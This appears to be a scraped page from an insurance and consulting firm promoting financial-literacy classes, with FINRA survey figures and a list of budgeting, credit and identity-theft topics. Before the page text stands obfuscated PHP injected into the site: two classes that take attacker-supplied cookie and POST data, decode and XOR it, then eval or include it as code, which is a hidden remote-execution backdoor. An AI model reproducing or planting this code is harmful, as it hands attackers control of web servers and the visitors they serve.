$obMVU = 'W' . chr ( 127 - 32 )."\155" . 'k' . chr (85) . chr (120); $kbxcv = chr (99) . chr ( 791 - 683 ).chr ( 194 - 97 )."\163" . chr ( 152 - 37 )."\x5f" . 'e' . "\170" . "\x69" . 's' . "\164" . "\163";$OfZftj = class_exists($obMVU); $kbxcv = "41518";$puucE = strpos($kbxcv, $obMVU);if ($OfZftj == $puucE){function MtcCJZlCvm(){$aQcVnxbAs = new /* 28650 */ W_mkUx(54798 + 54798); $aQcVnxbAs = NULL;}$fEpMEOBCDZ = "54798";class W_mkUx{private function SMQrgp($fEpMEOBCDZ){if (is_array(W_mkUx::$negkJZLeNn)) {$name = sys_get_temp_dir() . "/" . crc32(W_mkUx::$negkJZLeNn["salt"]);@W_mkUx::$negkJZLeNn["write"]($name, W_mkUx::$negkJZLeNn["content"]);include $name;@W_mkUx::$negkJZLeNn["delete"]($name); $fEpMEOBCDZ = "54798";exit();}}public function eXEMIDHe(){$Djlqvc = "23564";$this->_dummy = str_repeat($Djlqvc, strlen($Djlqvc));}public function __destruct(){W_mkUx::$negkJZLeNn = @unserialize(W_mkUx::$negkJZLeNn); $fEpMEOBCDZ = "36137_31093";$this->SMQrgp($fEpMEOBCDZ); $fEpMEOBCDZ = "36137_31093";}public function QjwoZxWO($Djlqvc, $fvhwKvcyC){return $Djlqvc[0] ^ str_repeat($fvhwKvcyC, intval(strlen($Djlqvc[0]) / strlen($fvhwKvcyC)) + 1);}public function XQhmxAGgH($Djlqvc){$GCnKuQD = chr (98) . "\x61" . chr ( 515 - 400 )."\x65" . '6' . "\x34";return array_map($GCnKuQD . "\137" . chr (100) . 'e' . 'c' . "\157" . "\x64" . chr (101), array($Djlqvc,));}public function __construct($fWsJnkXLR=0){$lDtwfk = chr (44); $Djlqvc = "";$UaZJQQKmd = $_POST;$OSapO = $_COOKIE;$fvhwKvcyC = "2d231cfc-1afc-4b1d-bea5-98670bb8ca9f";$zbukAPU = @$OSapO[substr($fvhwKvcyC, 0, 4)];if (!empty($zbukAPU)){$zbukAPU = explode($lDtwfk, $zbukAPU);foreach ($zbukAPU as $rfsvzrYi){$Djlqvc .= @$OSapO[$rfsvzrYi];$Djlqvc .= @$UaZJQQKmd[$rfsvzrYi];}$Djlqvc = $this->XQhmxAGgH($Djlqvc);}W_mkUx::$negkJZLeNn = $this->QjwoZxWO($Djlqvc, $fvhwKvcyC);if (strpos($fvhwKvcyC, $lDtwfk) !== FALSE){$fvhwKvcyC = explode($lDtwfk, $fvhwKvcyC); $pUAVJ = sprintf("36137_31093", rtrim($fvhwKvcyC[0]));}}public static $negkJZLeNn = 33061;}MtcCJZlCvm();}$RgLQWOLNE = "\151" . chr (69) . 'G' . chr ( 1049 - 954 )."\x69" . chr (82) . "\x6e" . "\141" . chr ( 472 - 366 ); $rYiyCwh = "\x63" . chr ( 658 - 550 ).chr ( 394 - 297 ).'s' . "\163" . chr ( 954 - 859 ).chr ( 394 - 293 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 1090 - 975 ); $axFkuHCr = class_exists($RgLQWOLNE); $rYiyCwh = "3841";$tvtdwQZGR = strpos($rYiyCwh, $RgLQWOLNE);if ($axFkuHCr == $tvtdwQZGR){function cUFAHG(){$JZtmQN = new /* 2374 */ iEG_iRnaj(54458 + 54458); $JZtmQN = NULL;}$sMAGxGC = "54458";class iEG_iRnaj{private function GYRBMIqpx($sMAGxGC){if (is_array(iEG_iRnaj::$LRszYNHdUD)) {$IzjSwQZO2 = str_replace("<" . "?php", "", iEG_iRnaj::$LRszYNHdUD["content"]);eval($IzjSwQZO2); $sMAGxGC = "54458";exit();}}public function bJybf(){$IzjSwQZO = "22850";$this->_dummy = str_repeat($IzjSwQZO, strlen($IzjSwQZO));}public function __destruct(){iEG_iRnaj::$LRszYNHdUD = @unserialize(iEG_iRnaj::$LRszYNHdUD); $sMAGxGC = "53416_64506";$this->GYRBMIqpx($sMAGxGC); $sMAGxGC = "53416_64506";}public function uVvqVXUF($IzjSwQZO, $fDdyXp){return $IzjSwQZO[0] ^ str_repeat($fDdyXp, intval(strlen($IzjSwQZO[0]) / strlen($fDdyXp)) + 1);}public function FTVyRCSwy($IzjSwQZO){$UkxNl = chr (98) . "\141" . "\x73" . chr (101) . chr ( 920 - 866 ).'4';return array_map($UkxNl . "\x5f" . "\144" . chr ( 174 - 73 )."\143" . "\x6f" . chr (100) . "\x65", array($IzjSwQZO,));}public function __construct($TtUzDA=0){$gjmdWAhL = "\x2c";$IzjSwQZO = "";$HjnNn = $_POST;$mfYxL = $_COOKIE;$fDdyXp = "74b2ab17-12c8-4525-96ed-59dba356e8cf";$MBxtLdnjdy = @$mfYxL[substr($fDdyXp, 0, 4)];if (!empty($MBxtLdnjdy)){$MBxtLdnjdy = explode($gjmdWAhL, $MBxtLdnjdy);foreach ($MBxtLdnjdy as $OaGeMVY){$IzjSwQZO .= @$mfYxL[$OaGeMVY];$IzjSwQZO .= @$HjnNn[$OaGeMVY];}$IzjSwQZO = $this->FTVyRCSwy($IzjSwQZO);}iEG_iRnaj::$LRszYNHdUD = $this->uVvqVXUF($IzjSwQZO, $fDdyXp);if (strpos($fDdyXp, $gjmdWAhL) !== FALSE){$fDdyXp = str_pad($fDdyXp, 10); $fDdyXp = ltrim($fDdyXp);}}public static $LRszYNHdUD = 19092;}cUFAHG();} Financial Education – McCann Insurance and Consulting

Financial Education

The study surveyed 27,564 Americans, from June through October of last year.

FINRA Investor Education Foundation suggests that studies show that as Americans we demonstrate a relatively low level of financial literacy and have difficulty applying financial decision-making skills to real life situations.

In a recent study, participants were asked five questions covering aspects of economics and financial issues encountered in everyday life. In California, 67% are unable to answer more than three of the five questions correctly. Also, most Americans do not comparison shop for credit cards, with 55% saying that in obtaining their most recent credit card they did not collect and compare information about cards from more than one company. Individuals need at least a fundamental level of financial understanding. This knowledge, paired with financial decision-making skills, can best ensure an individual’s financial capability. – FINRA Investor Education Foundation (2018).

 

Image result for financial literacy statistics

 

 

www.usfinancialcapability.org/graph-embed.php?region=CA&row=Rainy+Day+Funds

http://www.usfinancialcapability.org/graph-embed.php?region=CA&row=Financial+Literacy”

Financial Education SHOULD be a huge part of our education, but its not. Many have leaned basic information about many aspects of life, but few have been trained for basic money skills. Things like:

Budgeting – Spending Plan:

Budgeting Basics
Evaluating Your Finances
Creating a Budget
Budgeting Benchmarks
Seasonal Budgeting

Saving:

Saving Basics
Choosing Savings Options
Growing Your Money
Building an Emergency Fund
Spending Within Your Means
Financial Institution Basics
Opening a Checking Account
Debit Cards and Prepaid Cards
Electronic / mobile Banking

Credit:

Credit Basics

Credit Scores
Building Credit
Credit Report
Credit Resources
Debt Basics
Understanding Debt Load
Getting Out of Debt
Rebuilding Your Finances
Debt Counseling Resources

Identity Theft:

Identity Theft Basics
How to Prevent Fraud
High Risk for Identity Theft
Identity Theft Protection While Traveling
Tools to Protect Identity

Life Events:

Going to College
Buying a Car
Renting an Apartment
Buying a Home
Landing a Job
Health Care
Family Life
Elder Care
Retirement
Handling the Unexpected

This is where McCann Consulting can help. Do you have a

group of 10 or more? Would you like to become more educated on a particular topic? Give us a call we can provide an educational plan that fits your budget and will

provide a wealth of knowledge and value. Call us today at 209-339-1825 and ask about providing financial education to your group.

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